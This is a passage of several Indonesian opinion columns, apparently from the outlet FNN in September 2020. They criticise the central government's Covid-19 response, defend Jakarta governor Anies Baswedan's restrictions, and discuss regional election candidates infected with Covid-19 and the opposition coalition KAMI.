merupakan perbuatan melawan hukum yang dalam Pasal 46 UU No. 17 tahun 2011 terancam pidana 10 tahun penjara dan/atau denda 500 juta tersebut. Oleh karenanya keberadaan pasukan Rajawali yang dipertontonkan BIN sudah jelas perbuatan salah kaprah. BIN bukan POLRI atau TNI yang berhak memiliki pasukan keamanan atau kombatan. Orang bertanya fungsi pasukan ini apa? Asumsi ekstrim sampai pada komentar jangan-jangan ini adalah "Angkatan Kelima" atau pasukan khusus model "Cakra Birawa". Perlu ada klarifikasi. Sementara itu memamerkan kekuatan BIN dapat dikualifikasin sebagai perbuatan "pembocoran" yang dapat dikenakan delik pidana. Kepala BIN harus bertanggungjawab. Presiden selayaknya memberi sanksi pencopotan dan segera memerintahkan untuk dilakukan pengusutan. Jika Presiden adalah pihak yang memerintahkan, maka Presiden dapat ditarik sebagai turut serta dalam perbuatan pidana tersebut (doen plegen) sebagaimana diatur dalam Pasal 55 KUHP. Penulis adalah Pemerhati Politik dan Hukum.

Gagal Atasi Covid-19, Kenapa Cari Kambing Hitam?

by Tony Rosyid Jakarta FNN – Ahad (13/09). Jadi ternget kembali cerita Abu Nawas? Cincin hilang di depan rumah, dicari di ruang tamu. Alasannya, karena depan rumah gelap. Sedang ruang tamu terang. Koplak dan katro kan! Nah, pemerintah pusat sekarang mirip seperti Abu Nawas. Awalnya, ketika Covid-19 masih jadi ancaman, siapin kunyit dan empon-empon. Saat covid-19 sudah betul-betul masuk dan menyerbu, panik soal ekonomi. Ekonomi collaps dan datang resesi. Lalu bicara kesehatan. Presiden mulai siuman, sindir Windhu Purnomo, epidemiolog Universitas Airlangga. Presiden mulai menyadari betapa bahayanya pandemi covid-19. Karena itu, presiden dalam pidatonya mengungkapkan pentingnya saat ini mengutamakan kesehatan. Menyadari penyebaran covid-19 yang makin masif, Anies Baswedan, Gubernur DKI mengambil langkah cepat. Injek rem dan memberlakukan lagi Pembatasan Sosial Berskala Besar (PSBB) secara ketat. Para pembantu presiden teriak, "gara-gara Anies, Index Harga Daham Gabungan (IHSG) anjlok". Para buzzer pun dikerahkan. Piye iki toh mas? Sejumlah ekonom bilang, IHSG anjlok karena fundamen ekonomi lemah. Pertumbuhan ekonomi yang sudah minus -5,3 persen. Akibatnya, nilia tukar rupiah jatuh dengan terjun bebas terhadap dollar. Investasi juga menurun dengan sendirinya. Kenapa yang dusalahin Anies? Budayawan Emha Ainun Najib, yang biasa disapa Cak Nun ngetwitt: "Catat manusia-manusia yang lupa kemanusiaannya. Mereka diam ketika angka kematian dokter terus naik (109 orang). Dan teriak ketika angka indeks saham sekali turun". Negara ini mau dibawa kemana? Mengapa setiap ada masalah bukan fokus pada obyeknya saja. Setelah itu kerahkan buzzer untuk cari kambing hitam? Dampaknya, bukan penyelesaian masalah yang didapat, tapi kegaduhan yang bertambah. Mestinya, semua unsur yang ada di pemerintahan pusat, termasuk para menteri, fokus saja bekerja. Identifikasi berbagai masalah, lalu pikirkan dengan serius penyelesaiannya. Jangan kerja, kerja, kerja, tapi nggak tahu apa yang harus dikerjakan. Disinilah perlunya gagasan, strategi dan perencanaan yang matang sebelum kerja, kerja, kerja. Covid-19, ini masalah kesehatan. Menteri kesehatan mestinya berada di garda terdepan. Kenapa justru nggak kelihatan. Sementara pimpinan Satgas bukan dari orang kesehatan. Kalau memang Menkes dianggap tak mampu, ganti saja dong. Lakukan reshuffle. Toh, Presiden punya otoritas melakukan reshuffle. Nggak usah nunggu jadual reshuffle berjama'ah. Nggak mampu, ya ganti. Supaya mesin pemerintah bisa beroperasi dengan baik. Belum lagi soal anggaran. Sudah dibuat dasar regulasinya. Perppu corona diterbitkan. Diperkuat lagi dengan UU No 2/2020. Penanganan corona dan dampaknya, juga dianggarkan khusus. Bahkan terus dinaikkan berkali-kali sesuka hati. Dari Rp 405,1 tiliun menjadi 677,2 tiliun. Setelah itu naik lagi menjadi Rp 686,2 triliun. Dan sekarang Rp 905 tiliun. Tapi, kenapa covid-19 tak juga teratasi? Pertama, dari sisi anggaran menunjukkan pemerintah nggak fokus dan nggak serius tangani pandeminya. Dari sekitar Rp 905 tiliun itu, anggaran untuk kesehatan hanya Rp 87,5 triliun. Kurang dari 10 persen. Itupun yang lewat kemenkes hanya Rp 25,7 triliun. Dengan catatan, tidak ada korupsi. Mosok sih? Kedua, karena kerja pemerintah nggak terukur. Telat dua bulan terapkan PSBB. Ketika PSBB berlaku April-Mei, angka terinveksi relatif bisa ditekan. Rata-rata per hari 445 orang. Namun, buru-buru diumumkan wacana New Normal. Di bulan Juni, angka terinveksi langsung naik jadi 1.141 rata-rata per hari. Bulan Juli 1.714 per hari. Bulan Agustus naik lagi jadi 2.380 per hari. Dan bulan september ini sudah di atas 3000 rata-rata per hari. Begitu juga angka kematian. Bulan April-Mei, ada 26 orang mati rata-rata perhari. Eh, begitu muncul wacana New Normal, angka kematian jadi naik. Rata-rata perhari di bulan Juni 49 orang. Bulan Juli 73 orang. Bulan Agustus rata-rata 80 orang. September? Pasti naik. Tingkat kematian karena covid-19 di Indonesia itu 4,1 persen. Sementara rate kematian global hanya 3,3 persen. Artinya, Indonesia lebih tinggi dari rata-rata di dunia. Sudah melampaui rate angka kematian dunia, sejak berlakunya New Normal yang dikampenyekan Presiden Jokowi. Dari data ini, wajar jika pandemi covid-19 di Indonesia dianggap menghawatirkan masyarakat internasional. Akibatnya 59 negara telah melockdown Indonesia. Kabarnya sekarang sudah naik lagi menjadi 69 negara yang tidak menerima orang Indonesia ke negaranya. Lalu salahkan orang lain sebagai kambing hitamnya? Kebijakan Anies, Gubernur Jakarta hampir selalu jadi sasaran dan tumbal atas kegagalan pemerintah pusat. Kebijakan Anies injek rem dianggap jadi sumber anjloknya IHSG. Dituduh sengaja ingin membuat ekonomi terpuruk agar Jokowi jatuh. Macam-macam khayalan imajinasinya. Jangan cari cincin di ruang tamu kalau cincinnya hilang di depan rumah bung.... Layakkah Anies menjadi kambing hitam berkaitan dengan injek rem PSBB? Perlu data untuk menjawab hal ini. Sekaligus melihatnya dengan cara membandingkan antara data Jakarta dengan data nasional dan global. Dengan melihat data, kita bisa lebih obyektif. Tidak imajinatif! Menghadapi covid-19, selain meminta warga DKI melakukan 3 M, yaitu memakai masker, menjaga jarak dan mencuci tangan, Anies juga membuat strategi 3 T: Testing (PCR), tracing (penelusuran) dan treatmen (penanganan di rumah sakit). Pada tanggal 6 september, sebanyak 716.776 orang warga DKI yang dites. Ini berarti per 1 juta orang penduduk Jakarta, ada 76.335 yang dites. Bandingkan di tingkat nasional, per 1 juta penduduk, hanya 5.348 yang dites. Setiap pekan, warga DKI yang dites PCR berjumlah 59.146 orang. Jauh di atas batas minimal yang rekomendasi olehWorld Health Organization (WHO) untuk Jakarta yaitu 10.645 per pekan. Hasil tes menunjukkan bahwa kenaikan kasus positif di tingkat nasional secara total rata-rata 14 persen. Di Jakarta jauh lebih rendah, yaitu 7 persen. Pekan terakhir terjadi kenaikan 19,5 persen di tingkat nasional, dan 12,2 persen di DKI. Melihat trend dan lonjakan angkanya yang makin tinggi, jika Jakarta tak injak rem, maka kenaikan terinveksi dan angka kematian akan semakin menghawatirkan. Data ini juga disadari betul oleh presiden. Hanya saja, presiden belum mengambil langkah. Berdasarkan data statistik, jika kenaikan positif Covid-19 di Jakarta tidak ada treatmen khusus, (berlaku juga untuk daerah yang lain), maka tanggal 17 september, diperkirakan rumah sakit di DKI tak akan lagi mampu menampung pasien. Anies segera ambil langkah cepat. Injek rem. Berlakukan PSBB ketat. Kalau begitu, kenapa nggak hentikan atau kurangi saja jumlah tes PCR, supaya nggak semakin banyak yang ketahuan terinveksi? Itu namanya "Ngabu Nawas" . Dan Anies bukan Abu Nawas. Lebih baik jadi obyek sasaran dari pada jadi Abu Nawas. Anies pernah bilang: "saya dihadapkan pada dua pilihan. Pertama, salah langkah. Kedua, melangkahi. Saya pilih yang kedua". Rupanya, Anies sudah siap ambil risiko. Asal, tidak salah langkah. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Alhamdulillaah, Syafi'i Maarif Sudah Siuman

by Hersubeno Arief Jakarta FNN - Ahad (13/09). Sepanjang hari Ahad (13/9) pesan WA tokoh sepuh Ahmad Syafii Maarif kepada Presiden Jokowi viral. Mantan Ketua Umum PP Muhammadiyah ini mengaku batinnya menjerit dan goncang membaca berita kematian para dokter. Sudah mencapai 115 orang. Syafii mohon Presiden memerintahkan Menteri Kesehatan dan jajarannya untuk berupaya semaksimal mungkin menolong nyawa para dokter. Jika terus dibiarkan bangsa ini bisa oleng. Permohonan Syafii ini secara substansi, sesungguhnya tidak terlalu mengagetkan. Malah boleh dibilang sangat terlambat. Ikatan Dokter Indonesia (IDI), ahli epidemi dan para pengamat kebijakan, sudah lebih dulu memperingatkan pemerintah. Bukan hanya karena kematian dokter, tetapi juga angka korban terinfeksi jumlahnya sangat besar. Indonesia menjadi negara Asia Tenggara terbesar dalam jumlah korban. Bahkan sudah melampaui Cina, negara asal pandemi. Sudah lebih dari 200 ribu terinfeksi, dan meninggal 8.650 orang. Itu bila menggunakan data resmi. Para ahli virus memperkirakan jumlah sesungguhnya jauh lebih besar, baik yang positif maupun meninggal dunia. Seruan dokter, tenaga medis, ahli virus, dan pengamat kebijakan dianggap angin lalu. Disangkal, dan dibuli. Dicap sebagai seruan kelompok oposisi yang selalu mencari-cari kesalahan pemerintah, bahkan berniat menjerumuskan. Hanya suara kadal gurun (kadrun) yang tak perlu didengar. Seruan Syafii tentu saja berbeda. Sebagaimana pengakuannya, dia adalah tokoh sepuh. Salah satu yang tertua di negeri ini. Kalangan dekat memanggilnya Buya. Bukan hanya sekadar tua. Dia juga sangat berpengaruh karena pernah memimpin Muhammadiyah. Salah satu organisasi keagamaan terbesar di Indonesia. Di luar itu yang harus dicatat dan digaris bawah tebal, Syafii adalah salah satu pendukung utama dan pembela Jokowi. Tidak mungkin dia menyampaikan keprihatinan, karena alasan politik, atau kebencian. Sangat sulit bagai para buzzer Jokowi menyerangnya. Apalagi melabelinya sebagai Kadrun. Mudah-mudahan saja tidak. Kalau toh tetap dipaksakan memberi labeling kepada Syafii, maka kategorinya kadrun muallaf. Cebong yang insyaf, atau setidaknya siuman. Sebuah labeling yang sangat tidak layak dan tidak pantas diberikan kepada tokoh terhormat sekelas Buya Syafii Maarif. Presiden Siuman Istilah siuman ini belakangan menjadi hype. Kepada CNNIndonesia Seorang ahli epidemi dari Universitas Airlangga Windhu Purnomo menyambut baik arahan Presiden agar para menterinya lebih mengutamakan kesehatan. “Alhamdulillah, Jadi kalau bahasanya orang itu, Pak Presiden sudah mulai sadar. Mulai siuman,” ujar Windu. Siuman, merujuk pada Kamus Besar Bahasa Indonesia (KBBI) memiliki beberapa makna. Sadar (dari pingsan, lupa, melamun, termenung, dan sebagainya); ingat kembali (tentang orang mabuk, orang gila, dan sebagainya). Agar tetap memuliakan Presiden, kita sebaiknya memilih makna pertama saja: Sadar. Artinya Presiden sadar bahwa kebijakannya yang selama ini lebih mementingkan pemulihan ekonomi, salah. Cuma masalahnya sebagai nahkoda, Presiden siuman, sadar saat kapal tengah oleng. Selama Presiden pingsan — lupa, melamun, termenung dan sebagainya— para menterinya, sebagai anak buah kapal seperti kehilangan arah. Mereka lebih melihat kepentingan ekonomi sebagai sebuah pulau fatamorgana. Tempat mereka akan selamat berlabuh, di tengah ombak dan badai pandemi. Apalagi sejumlah penumpang kapal kelas VVIP, kalangan pengusaha besar meyakinkan mereka, pemulihan ekonomi lebih penting. Negara bisa kolaps, kalau ekonomi tidak diselamatkan. Sebelum siuman, sebagai nahkoda Jokowi juga sangat jelas memberi instruksi agar kapal menuju pulau fatamorgana itu. Tidak terlalu salah bila Anies Baswedan tiba-tiba mau menarik rem darurat karena kapal akan menabrak karang besar, mereka sangat marah. Rame-rame menghajar Anies. Para menteri ini tetap yakin, percaya diri, mengutamakan ekonomi adalah pulau yang aman untuk berlabuh. Bukan karang berbahaya sebagaimana dilihat Anies. Setelah siuman, tampaknya perlu waktu agar Presiden sebagai nahkoda kapal besar bernama Indonesia, menyadari kondisi sepenuhnya. Perlu ngopi-ngopi dulu. Mudah-mudahan saja peringatan keras dari Syafii Maarif bisa membuat Jokowi sepenuhnya siuman. Kapal besar Indonesia sedang menghadapi bahaya besar. Crash. Menabrak karang dan tenggelam. Ngomong-ngomong dalam KBBI ada kata lain yang mirip-mirip maknanya dengan siuman, yakni mendusin. Bedanya mendusin ini sama-sama terbangun, tetapi tidak tersadar sepenuhnya. Hanya bangun sejenak, setelah itu menarik selimut dan tertidur lagi. End Penulis adalah Wartawan Senior FNN.co.id

Bacalon Positif Covid-19 Berpeluang Diganti Bacalon Lainnya

by Mochamad Toha Surabaya FNN - Minggu (13/9). Kabar tak sedap datang dari Kota Surabaya. Dilansir CNN Indonesia.com, Jumat (11/09/2020 16:52 WIB), Bakal Calon Walikota Surabaya Machfud Arifin mengakui, terkonfirmasi positif Corona (Covid-19). Kabar mengenai terpaparnya ia belakangan santer beredar. Hal itu terlihat dari ditundanya pelaksanaan tahapan tes kesehatan yang mesti ia jalani bersama Bacalon Wakil Walikota Mujiaman Sukirmo pada 8-9 September 2020. Machfud secara gentlement mengakuinya. “Tentang isu yang berkembang, memang benar [positif Covid-19],” ungkap Machfud saat menggelar konferensi pers secara daring, Jumat (11/9/2020). Machfud mengatakan hal tersebut bermula saat ada salah seorang istri dari anggota timnya terkonfirmasi positif corona. Dan tak lama orang dekatnya itu pun diketahui turut terpapar Covid-19. Usai mengetahui salah seorang timnya positif Covid-19, Machfud lantas berinisiatif untuk memeriksakan kesehatannya ke dokter, meski tak mengalami gejala apapun. Machfud hanya mengaku tenggorokannya mengalami sedikit gangguan. Suaranya hilang. Selama bertemu warga ia mengaku tak pernah berbicara, dan diwakili oleh tim suksesnya. “Yang berbicara Gus Amik, timses saya,” ucapnya. Pada 26 Agustus 2020, Machfud kembali memeriksakan diri. Kali ini ia juga menjalani swab, dan hasilnya menunjukkan bahwa dirinya terkonfirmasi positif corona. “Hari Rabu 26 Agustus saya inisiatif ke dokter. Dokter tidak menganjurkan saya swab, tetapi saya diam-diam swab ternyata saya, positif, tanpa gejala,” lanjutnya. Sejak saat itu, ia pun melakukan pembatasan diri dan isolasi mandiri di rumah. Ia tidur di tempat terpisah dengan istri dan anak-anaknya yang juga sudah menjalani swab dan menunjukkan hasil negatif. Machfud Arifin pada Pilwali Surabaya 2020 ini berpasangan dengan Bacawawali Mujiaman Sukirmo, mantan Direktur Utama BUMD Perusahaan Daerah Air Minum (PDAM) Surya Sembada, Surabaya. Machfud dan Mujiaman saat ini telah mengantongi dukungan dari delapan partai pengusung: Demokrat, PKB, PAN, PPP, NasDem, Golkar, Gerindra, dan PKS. Di Jawa Timur, selain Bacalon di Surabaya, salah satu Bacalon Wakil Bupati pada Pilbup Sidoarjo 2020 juga terindikasi terpapar Covid-19, seperti yang disampaikan Ketua KPUD Sidoarjo Mukhamad Iskak. Menurutnya, hasil pemeriksaan kesehatan terhadap seluruh pasangan Bacalon kepala daerah Sidoarjo, di RSUD dr Soetomo Surabaya pada Senin malam (7/9/2020) sudah keluar. Dari tiga pasangan bacalon yang turut pemeriksaan kesehatan diantaranya swab, satu bacalon wakil bupati dinyatakan positif covid-19. Sayangnya Iskak tidak mengungkap siapa bacalon wakil bupati tersebut. “Hasil swab yang dikeluarkan pihak dr. Soetomo, memang satu Cawabup dinyatakan positif covid-19,” ujar Iskak tanpa memyebut siapa nama Bacawabup itu, Selasa (8/9/2020). Menurut Iskak, karena sudah dinyatakan positif, maka baik bacawabup maupun cabupnya harus mengisolasi diri selama 14 hari. Meski hari itu masih tahapan pemeriksaan kesehatan, “Namun tetap satu paslon ini tidak boleh ikut pemeriksaan kesehatan tahap 2,” tegas Iskak. Dari informasi yang beredar, bacalon yang dinyatakan positif Covid-19 ini, mendaftarkan diri pada Jum’at (4/9/2020). Bahkan, saat mendaftar hari Jum’at itu, hasil swab dengan amplop tersegel itu juga sudah berisi hasil positif. “Kita sama-sama tidak tahu, karena hasil swab diberikan bersamaan dengan berkas lain dan amplop tertutup,” ujar Iskak lagi. Jika merunut ke belakang, sangat mudah diketaui siapa bacalon yang terpapar Covid-19 itu. Peluang Diganti Terkait bacalon kontestan Pilkada Sidoarjo 2020 yang terdiagnosa positif Covid-19, KPUD Sidoarjo harus cepat mengambil langkah antisipasi dengan mengumumkan nama siapa calon yang terpapar tersebut dan melakukan swab terhadap seluruh pegawai KPUD Sidoarjo, para pendukung calon yang terpapar dan keluarganya. Hal tersebut disampaikan oleh Baihaki Siradj, pengamat politik dari Accurate Research and Consulting Indonesia (ARC Indonesia). “Harus disampaikan ke publik siapa calon yang terpapar covid sebagai langkah antisipasi dari KPU yang mempunyai tanggung jawab dalam pencegahan covid-19,” ungkap Baihaki Siradj, seperti dilansir SidoarjoTerkini.com, Jumat (11/9/2020). Menurut Baihaki, hal tersebut dilakukan untuk memastikan tidak ada yang tertular dari pihak penyelenggara, pendukung ataupun orang yang berhubungan saat pendaftaran itu, sebagai jaminan tidak akan terganggu semua tahapan-tahapan pilkada. “Karena kita semua tidak tahu baik dari penyelenggara dalam hal ini KPUD dan pendukung tak tertular, dan apabila itu terjadi pada pihak penyelenggara, berarti kantor KPUD sementara harus ditutup,” ucapnya. Baihaki menilai, pihak KPU belum siap dengan aturan pilkada di tengah pandemi. Dirinya mencontohkan, apabila saat tahapan pilkada ditemukan ada calon yang terkonfirmasi maka tahapan berikutnya akan terhenti. “Dan itu tidak diatur dalam regulasi apakah calon yang dinyatakan positif itu harus gugur,” ujar Baihaki. Untuk itu, pihak KPU RI harus segera membuat regulasi baru untuk sebuah ketegasan dalam menghadapi pandemi Covid-19. Artinya, KPU tidak bisa serta merta mendiskualifikasi calon karena positif Covid-19 sebelum membuat aturan PKPU baru di tengah pandemi Covid-19. “Dengan PKPU yang baru dibentuk itulah akan menjadi pijakan hukum bagi penyelenggara pilkada selanjutnya” tegasnya. Melansir Megas-online.com, Jum’at (11/9/2020), semua bacalon yang sudah direkomendasi parpol atau gabungan parpol untuk berkontestasi dalam Pilkada masih bisa diganti jika tidak memenuhi syarat yang ditentukan UU Nomor 10 Tahun 2016. “Ada tiga kondisi yang memungkinkan terjadinya penggantian itu. Yakni berhalangan tetap (meninggal dunia), tersangkut kasus pidana yang sudah berkekuatan hukum tetap, dan tidak memenuhi syarat kesehatan,” ujar pengamat politik dan pemerintahan Nanang Haromain. Presidium Forum Muda Sidoarjo itu menegaskan, kewenangan penggantian bacalon itu ada di tangan parpol pengusung. “Kuncinya itu tadi, harus memenuhi minimal salah satu dari ketiga unsur tersebut,” ungkap Nanang Haromain. Pernyataan itu disampaikannya saat ditanya tentang fenomena cukup banyaknya paslon yang terinfeksi Covid-19 menjelang pelaksanaan Pilkada yang rencananya akan digelar serentak di seluruh Indonesia pada 9 Desember 2020 mendatang. Sebagaimana informasi yang disampaikan Menko Polkam, Mahfud MD beberapa waktu lalu, ada 59 paslon di 21 Propinsi yang dikabarkan terpapar Virus Corona, termasuk di Kabupatan Sidoarjo dan belakangan, Kota Surabaya. Akibatnya mereka diwajibkan untuk melakukan isolasi mandiri dan belum bisa melakukan tes kesehatan yang menjadi syarat utama agar bisa berkontestasi pada suksesi kepemimpinan daerah sebagaimana disyaratkan KPU sebagai lembaga penyelenggara Pemilu. “Ini yang baru, karena piranti hukum yang mengatur perihal Pemilu termasuk Pilkada tidak mencantumkan masalah ini karena fenomenanya memang masih muncul di awal 2020 ini,” jelas mantan anggota KPUD Sidoarjo itu. Yang jelas, tanpa adanya hasil tes kesehatan yang dikeluarkan Rumah Sakit Rujukan yang ditunjuk KPU, maka tahapan berikutnya seperti penetapan paslon, undian nomer urut, dan juga kampanye pasti akan ikut mundur. Tidak mungkin tahapan-tahapan itu dilakukan kalau bacalonnya tidak lengkap. Tapi, “Bagaimana kemudian regulasinya saat ini menyangkut Covid-19 sebaiknya langsung ke Ketua atau komisioner KPU saja, karena bisa saja ada kebijakan yang dimunculkan karena ini,” tambah Nanang. Mundurnya tahapan ini sangat mungkin karena untuk bisa mengikuti tes kesehatan, bacalon tersebut harus lebih dulu dipastikan terbebas dari Covid-19. Dan, sampai saat ini bacalon itu yang salah satu diantaranya terinfeksi corona belum melewati tahapan tersebut. “Termasuk duet Kelana Aprilianto-Dwi Astutik yang berlaga di Sidoarjo,” ungkap Nanang. Persoalannya, tiga bulan menjelang pelaksanaan KPU sudah menyusun dengan rapi setiap tahapan yang harus dilakukan. Misalnya penetapan paslon yang akan digelar 23 September, besoknya dilakukan pengundian nomer urut dan kemudian kampanye yang dimulai 26 September hingga 5 Desember 2020. “Tentu ini menjadi rumit. Tapi saya yakin KPU pasti sudah punya formulasi yang pas untuk mengatasi masalah ini, misalnya soal pembatasan sampai berapa kali tes swab itu dilakukan. Karena kalau tidak akan mengganggu tahapan berikutnya,” pungkasnya. Kasus penggantian bacalon ini pernah terjadi saat Pilwali Surabaya 2015. Bacalon Walikota Dhimam Abror Djuraid tiba-tiba ditinggal Bacawali Haries Purwoko yang menghilang saat pendaftaran tersebut. Yang mundur bukan saya. Saya tetap tanda tangan. Itu wakil saya yang mundur,” ujarnya saat berbincang dengan Detikcom, Senin (3/8/2015) malam. Akibat ulah Haries ini, peluang Abror ikut bertarung melawan Tri Rismaharini kandas. Abror pun tersisih lagi saat parpol pengusung menggantinya dengan Rasiyo, sehingga pisisi Abror menjadi Bacawawali, bukan Bacawali lagi. Ia kembali tersisih setelah KPUD Surabaya menyatakan berkasnya Tidak Memenuhi Syarat (SMS). Akhirnya, Abror benar-benar tersingkir setelah digantikan Lucy Kurniasari yang disodorkan Partai Demokrat dan PAN. Kasis ini bisa menjadi semacam “yurisprudensi” landasan hukum pergantian bacalon. *** Penulis wartawan senior fnn.co.id.

Sikap Tegas Jenderal Gatot

by M. Rizal Fadillah Jakarta FNN – Ahad (13/09). Salah satu Presidium Nasional Koalisi Aksi Menyelamatkan Indonesia (KAMI) Jenderal TNI (Purn) Gatot Nurmantyo menghadiri Deklarasi KAMI Jawa Barat bersama Presidium lainnya Prof. Dr. Din Syamsuddin dan Prof. Dr. Rochmat Wahhab. "Triumvirate" ini menyampaikan pidato "Menyelamatkan Indonesia" dalam acara tersebut. Yang menarik dari pidato Jend. TNI (Purn) Gatot Nurmantyo adalah sikap tegasnya terhadap gejala terjadinya perongrongan ideologi Pancasila serta pembelaan terhadap "penistaan" hafidz Qur'an. Dua dimensi yang terintegrasi antara aspek kebangsaan dan keumatan. Meski tidak menunjuk siapa perongrong Pancasila itu. Tetapi arahnya jelas kepada pihak-pihak yang meragukan Pancasila dengan rumusan yang telah ditetapkan pada tanggal 18 Agustus 1945. Tentu sebagaimana selalu diingatkan Gatot saat menjadi Panglima TNI, maka pergerakan anasir PKI atau kelompok Komunis patut untuk semakin diwaspadai. Dengan merujuk pada peristiwa perlawanan TNI terhadap perintah dari Komandan Pengawal Presiden Soekarno Cakrabirawa (PKI) Kolonel Untung, maka bawahan boleh saja melawan atasan. Apalagi atasan yang berniat mengganggu, bahkan mengganti dasar negara Pancasila. Bahasanya adalah "membunuh atasan" yang berkaitan dengan pembelaan terhadap ideologi negara Pancasila dan konstitusi UUD 1945. Sikap itu sebagai wujud dari Sumpah Prajurit. Meskipun resikonya adalah harus dengan mengorbankan nyawa sendiri. Aspek keumatan yang disentuh Jenderal Gatot adalah bentuk kekesalannya terhadap ungkapan Menteri Agama (Menag) Fachrul Rozi yang dinilai menistakan para hafidz Qur'an. Menurut Menag, ciri dari radikalisme diawali dengan penampilan yang "good looking". Apakah itu mereka yang hafidz atau menguasai penggunaan Bahasa Arab. Kecurigaan yang berlebihan dari Menag Fachrul Rozi ini yang mengingatkan Gatot pada saat menjadi Panglima TNI dulu. Ketika itu Gaot pernah mengadakan muroja'ah 1.000 hafidz Qur’an di Markas Besar (Mabes) TNI Cilangkap. Gatot sangat Menghormati dan memuliakan para hafridz tersebut. Untuk ini Gatot siap membela para hafidz Qur’an itu. Di tengah krisis kepemimpinan yang tidak berkarakter, kemunculan dan ketegasan sikap Jendral TNI Purnawirawan benaran (bukan jenderal kehormatan) Gatot Nurmantyo menjadi fenomena. Tanpa harus dicurigai punya keinginan untuk menjadi pemimpin, Jenderal Gatot memang seorang pemimpin sejati. Pemimpin khas militer yang memahami masalah krusial bangsa secara komperhensip dan menyeluruh. Pemahaman yang tidak asal ngomong. Juga pemahaman yang tidak hanya sepoting-sepotong. Jendral yang sangat faham dengan apa itu “proxy war”. Faham dengan hakekat ancaman, tantangan, hambatan, dan gangguan terhadap kelangsungan hidup berbangsa dan bernegara ke depan. Juga sangat faham bagaimana cara menghadapi dan mensikapi semua ancaman, tantangan dan hambatan tersebut. Menjadi barisan KAMI, Gatot mengajak anak bangsa untuk menyelamatkan Indonesia. Jendral Gatot didaulat untuk memimpin KAMI bersama Prof. Din Syamsuddin dari Muhammadiyah dan Prof. Rochmat Wahhab dari Nahdlatul Ulama menjadi Presidium. Jika konsistensi untuk "menyelamatkan" bangsa dapat terjaga, maka gelindingan KAMI akan menjadi gumpalan bola salju. KAMI menjadi yang sangat efektif bagi perubahan ke arah yang lebih baik. Perubahan secara moral hal ini adalah suatu keniscayaan. Penulis adalah Pemerhati Politik dan Kebangsaan.

Jokowi Melawan Anies, Itu Malapetaka

by Dr. Margarito Kamis SH. M.Hum Jakarta FNN – Ahad 913/09). Lockdown itu apa sih? Karena (pemahamannya) harus sama," kata Presiden Jokowi setelah meninjau rumah sakit darurat di Pulau Galang, Kepulauan Riau, Rabu (01/04). Jokowi menjelaskan bahwa istilah lockdown dipakai apabila semua warga benar-benar tidak boleh keluar rumah. Hanya beraktivitas di rumah. Kebijakan lockdown juga otomatis membuat seluruh layanan transportasi seperti bus, kereta api, dan pesawat pun berhenti. "Nah, ini yang kita tidak ambil jalan yang itu. Kita tetap aktivitas ekonomi ada. Tetapi semua masyarakat harus menjaga jarak. Jaga jarak aman yang paling penting kita sampaikan sejak awal. Social physicial distancing, itu terpenting," katanya (lihat Republika.co.id 1/4/2020). Postur Inkonsistensi Diberitakan oleh CNBC Indonesia, Presiden Jokowi pada akhir Maret, menyatakan "kita harus belajar dari pengalaman negara lain. Kita tidak bisa menirunya begitu saja," kata Jokowi usai Ratas Kabinet. Jokowi juga mengatakan setiap negara memiliki ciri khas masing-masing. Baik itu luas wilayah, jumlah penduduk, kedisiplinan, hingga kondisi geografis. Presiden lebih jauh menyatakan kita juga harus memperhatikan kemampuan fiskal. Oleh karena itu, kata Jokowi kita tidak boleh gegabah dalam merumuskan strategi. Semua harus dihitung dikalkulasi dengan cermat. Dan inti kebijakan kita sangat jelas. yakni pertama adalah kesehatan masyarakat (lihat CNBC Indonesia, 31/03/2020). Tiga bulan yang hebat selama Pembatasan Sosial Berskala Besar (PSBB) pun menemui akhir. Jokowi muncul dengan gagasan pelonggaran PSBB. Gagasan itu dilukiskan oleh Wata Ekonomi dalam judul berita “Jokowi Mau Terapkan New Normal.” Kata Jokowi "Yang penting, masyarakat produktif dan aman dari Covid-19. Berdampingan itu justru tidak menyerah, tapi menyesuaikan diri. Kita lawan keberadaan Covid-19 dengan mewajibkan protokol kesehatan yang ketat” (lihat Warta Ekonomi.co.id, 1/6/2020). PSBB dipilih dan dilaksanakan. Tiga bulan yang menjanjikan itu, akhirnya tersingikir.Takanan pada ekonomi yang berlebihan menjadi trade mark pemerintahan Jokowi. Menariknya segera terbukti kebijakan new normal, sebuah istilah yang akrab dilidah Jokowi, merangsang membesarnya bara corona. Entah bara ini teridentifikasi dapat membakar pemerintahannya, atau hal lainnya, Presiden memberi respon. Dalam rapat paripurna kabinetnya pada tanggal 7 September 2020, Presiden menyatakan fokus utama pemerintah yaitu mengutamakan kesehatan. Pernyataan itu disambut Windhu Purnomo, epidemoplog Universitas Airlangga. Kata Windhu, sekarang ini pemerintah bilang fokus pada kesehatan. Dan itu Alhamdulillah. “Jadi, kalau bahasanya orang itu, Pak Presiden mulai siuman. Mulai sadar," kata Windhu Purnomo, epidemolog Universitas Airlangga saat dihubungi CNN Indonesia.com, Selasa (8/9). Siuman? Tunggu dulu. Akhir Maret yang lalu Presiden juga menyatakan hal yang sama. Fokus pada kesehatan, kata Presiden kala itu. Tetapi dalam kenyataannya tekanan kebijakannya terletak pada ekonomi. Ada inkonsistensi yang nyata. Akankah inkonsistensi ini berlanjut lagi? Inkonsistensi itu terlihat dari data realisasi anggaran yang dikemukakan Kementerian Keuangan. Pemerintah, begitu data Kemenkeu bicara, telah menganggarkan total biaya Penanganan Covid-19 dan Pemulihan Ekonomi Nasional (PEN) sebesar Rp. 695,20 triliun yang dialokasikan untuk enam sektor, dimana total realisasi hingga minggu pertama Agustus adalah Rp. 151,25 triliun sudah dilaksanakan atau 21,8% dari pagu program Pemulihan Ekonomi Nasional. Lebih rinci, realisasi di sektor kesehatan Rp7,1 triliun, sektor perlindungan sosial Rp86,5 triliun, sektoral Kementerian/Lembaga (K/L) dan Pemda Rp8,6 triliun, sektor dukungan Usaha Menengah Kecil dan Mikro (UMKM) Rp. 32,5 triliun, dan sektor insentif usaha sudah mencapai Rp. 16,6 triliun dan sektor pembiayaan korporasi masih belum terdapat realisasi. Dari total anggaran Rp. 695,20 triliun, realisasi untuk program penanganan Covid-19 dan pemulihan ekonomi dari DIPA sudah dikeluarkan sebesar Rp. 313,2 trilliun dan yang belum dimasukkan ke DIPA sebanyak Rp. 226,1 triliun dan anggaran yang tanpa DIPA sebesar Rp. 155,9 triliun dalam bentuk berbagai insentif pajak (http://www.kemenkeu.go.id. 10/08/2020). Realisasi anggaran, bukan pernyataan Presiden. Suka atau tidak menjadi parameter politik dan tata negara tentang postur pemerintahan. Apalagi data itu disajikan oleh Kemenkeu. Tidak ada kementerian, 